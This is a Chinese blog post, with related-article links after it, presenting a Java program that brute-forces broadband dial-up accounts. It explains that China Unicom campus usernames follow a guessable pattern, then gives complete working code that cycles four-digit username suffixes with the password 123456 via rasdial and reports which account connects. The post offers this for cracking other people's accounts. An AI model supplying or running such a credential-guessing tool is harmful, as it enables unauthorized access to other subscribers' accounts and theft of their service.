在第一个版本中讲到了如何破解宽带账号
上一篇文章
《暴力破解宽带账号》

但对于之前的代码个人觉得写的不好,因此准备第二个版本

建立一个宽带连接

注意拨号名称为宽带连接 与后面代码connAdsl("宽带连接", username, password);//重新拨号相对应,如果连接名称不是这个宽带连接则将其改成对应你电脑上的名称





点击连接,然后跳过,再接着选择设置连接,然后关闭即可


然后使用代码进行暴力破解

而你需要做的事情就是自己提供宽带账号和密码,对于校园网,尤其是联通的宽带,都是很有规律的

联通的宽带一般是 地区号开头组成的12位数字 + @Unicom01,其中后面4位一般是手机号后4位

因此我的建议是先观察你所在的环境能正常拨号的宽带账号,然后模仿它的格式得到宽带账号进行破解即可

另外建议你看下代码,代码可以适当的调整,可以优化执行效率

代码

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.concurrent.TimeUnit;//暴力破解宽带
public class BruteForce {/*** 执行CMD命令,并返回String字符串*/public static String executeCmd(String strCmd) throws Exception {Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);StringBuilder sbCmd = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK"));String line;while ((line = br.readLine()) != null) {sbCmd.append(line + "\n");}return sbCmd.toString();}/*** 检测网络* 能ping通则返回true,ping不通返回false*/private static boolean checkInternet() throws Exception {String comm = "ping -n 2 114.114.114.114";String s = executeCmd(comm);System.out.println(s);if (s.indexOf("TTL") >= 0) {return true;} else if (s.indexOf("请求超时") >= 0 || s.indexOf("无法访问目标网") >= 0) {return false;} else {return false;}}/*** ADSL连接宽带* <p>* 可以适当的调整下面休眠的时间,* 注意sleep不可调的太小,太小可能导致拨号成功了但是依然ping不通*/public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception {String disconnectResult = executeCmd("rasdial " + adslTitle + " /DISCONNECT");// 断开之前的连接System.out.println(disconnectResult);// 断开之前的连接String connectResult = executeCmd("rasdial " + adslTitle + " " + adslName + " " + adslPass);// 进行拨号连接System.out.println(connectResult);// 重新拨号的连接TimeUnit.SECONDS.sleep(3);// 暂停一会,不暂停的话重新进行判断网络的时候会导致ping不通,实际已经连接成功了if (checkInternet()) {System.out.println("破解成功!\n宽带账号:" + adslName + "\t宽带密码:" + adslPass);return true;} else {return false;}}//测试代码public static void main(String[] args) throws Exception {for (int i = 1071; i <= 9999; i++) {String str = String.format("%04d", i);//获得长度为4的数字String username = "079701" + "60" + str + "@Unicom01";//宽带账号System.out.println("宽带账号:" + username);String password = "123456";//破解密码为123456的宽带账号boolean connect = checkInternet();// ping检测一下if (!connect) {// 网络没有ping通则进行拨号connAdsl("宽带连接", username, password);//重新拨号} else {System.out.println("网络正常");//破解成功,后面的break会暂停。break;}}}
}

暴力破解宽带,版本2相关推荐

  1. Sublime Text 3143 Win32版本暴力破解过程

    Sublime Text是一款强大的文本编辑器,在不注册的情况下也可以使用,但标题栏的未注册字样与时不时弹出的nag窗口有时也让人感觉很不爽,于是尝试对其注册过程进行分析与破解. 截至写本篇文章时,S ...

  2. 路由器密码忘记 五步暴力破解

    我是一名家庭用户,最近不小心忘记了家里无线路由器的登录密码,现在唯一知道的就是该设备使用的是5位以内的数字作为密码,那么我想问专家如何来解决这种密码为纯数字的暴力破解问题呢?在线急切等待. [解答]很 ...

  3. 服务器暴力破解的程序(python开发)

    如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和 首先我们看一下基本的原理以及过程 Paste_Image.png 我们看一下准备工作: 我们需要获取目标机器的IP和SHH端口 ...

  4. fail2ban防止暴力破解

    防止暴力破解的一般方法: 1) 密码足够复杂 2)修改端口号 3) 禁用root登录 4)第三方防爆破软件 fail2ban实现锁IP 说明:监视系统日志,然后通过匹配日志错误信息(正则匹配),执行相 ...

  5. 开源服务专题之------ssh防止暴力破解及fail2ban的使用方法

    15年出现的JAVA反序列化漏洞,另一个是redis配置不当导致机器入侵.只要redis是用root启动的并且未授权的话,就可以通过set方式直接写入一个authorized_keys到系统的/roo ...

  6. 利用Python自动生成暴力破解的字典

    Python是一款非常强大的语言.用于测试时它非常有效,因此Python越来越受到欢迎. 因此,在此次教程中我将聊一聊如何在Python中生成字典,并将它用于任何你想要的用途. 前提要求 1,Pyth ...

  7. DVWA学习(三)Brute Force(暴力破解)

    BF算法,即暴风(Brute Force)算法,是普通的模式匹配算法,BF算法的思想就是将目标串S的第一个字符与模式串T的第一个字符进行匹配,若相等,则继续比较S的第二个字符和 T的第二个字符:若不相 ...

  8. python3爬虫(5)百度云盘暴力破解尝试

    4年前写过一篇文章,暴力破解百度云,链接(当然这个方法早已失效): https://blog.csdn.net/liujiayu2/article/details/48953745 当时写这篇文章的时 ...

  9. linux密码暴力破解之SHA-512破解

    linux密码暴力破解 由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统密码开始采用SHA-512加密 ...

最新文章

  1. SpringBoot实现通用的接口参数校验
  2. 这是我读过写得最好的【秒杀系统架构】分析与实战!
  3. 运维企业专题(9)RHCS集群工具介绍
  4. 重大里程碑!VOLO屠榜CV任务,无需额外数据,首次在ImageNet 上达到87.1%
  5. php协议任意文件读取
  6. JAVA——关闭ServerSocket
  7. ubuntu11.10安装mysql+handlersocket
  8. 高等数学与python高级应用_python高级应用程序与设计
  9. css3 卡片hover3D效果
  10. Java ObjectInputStream readUnshared()方法与示例
  11. POJ1256 (C++ compare函数)
  12. 为什么要进行特征归一化/标准化?
  13. 有趣的算法(一):如何让有情人终成眷属
  14. URL重写,asp.net URL重写,URLRewriter.dll下载
  15. VAssistX使用
  16. python webdriver 从无到有搭建混合驱动自动化测试框架的过程和总结
  17. fckeditor 2.6 php,php下 FCKeditor 2.6.6的使用和配置
  18. unity3d手游破解(一)
  19. 芯片常见的三种封装形式
  20. 微信安全专线如何转人工服务器,微信客服电话怎么转人工?怎么解封微信号?...

热门文章

  1. 对于直流电线缆的选型,你真的会吗?—直流电线缆选型规范
  2. 【PAT乙级】挖掘机技术哪家强
  3. 移动端开发input标签调用数字键盘
  4. 网传各大公司的待遇(2013年)
  5. Hive(一)如何搭建Hive?(Hive入门教程)
  6. zemax仿真光楔楔形棱镜
  7. 查看elasticserc版本_如何查看elasticsearch版本
  8. 【吐槽贴】项目经理如何进行高效沟通?
  9. 群晖NAS安装openwrt用作旁路由
  10. STM32 F1普中开发板 TFT彩屏指针时间显示及闹钟。